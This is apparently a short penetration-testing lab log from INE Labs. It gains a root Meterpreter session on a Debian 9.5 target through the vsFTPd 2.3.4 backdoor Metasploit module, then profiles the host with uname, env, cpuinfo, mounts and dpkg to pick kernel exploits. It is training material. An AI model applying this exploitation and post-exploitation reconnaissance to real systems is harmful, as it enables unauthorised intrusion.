cd ..
2025-12-05 / Log: enumerating_system_information_linux

Enumerating System Information (Linux)

Host: INE Labs Diff: [EASY]
#Linux#Post-Exploitation#Enumeration#System Information#uname#dpkg

Enumerating System Information (Linux)

Classification: Host & Network Penetration Testing / Post-Exploitation
Target: Debian 9.5 (root Meterpreter via vsFTPd 2.3.4)

1. Executive Summary

After exploiting the vsFTPd 2.3.4 backdoor and upgrading to Meterpreter, we profile the host — OS/kernel, environment, hardware and installed packages — to inform kernel-exploit selection and further post-exploitation.

2. Foothold

nmap -sV <target>
use exploit/unix/ftp/vsftpd_234_backdoor
run

Nmap scans

vsFTPd backdoor — shell

Upgraded to Meterpreter

3. OS & Kernel

sysinfo        # root @ Debian 9.5

sysinfo

shell
hostname
cat /etc/*release

hostname / distribution

Release information

uname -a

Kernel version and architecture

4. Environment & Hardware

env

Environment variables

cat /proc/cpuinfo

CPU information

mount ; df -h

Filesystems and mounts

Common drives

lsblk

Storage devices

5. Installed Packages

dpkg -l        # Debian

Installed packages (dpkg)

6. Notes

OS/kernel version drives kernel-exploit selection; installed packages reveal extra software (and their own vulnerabilities).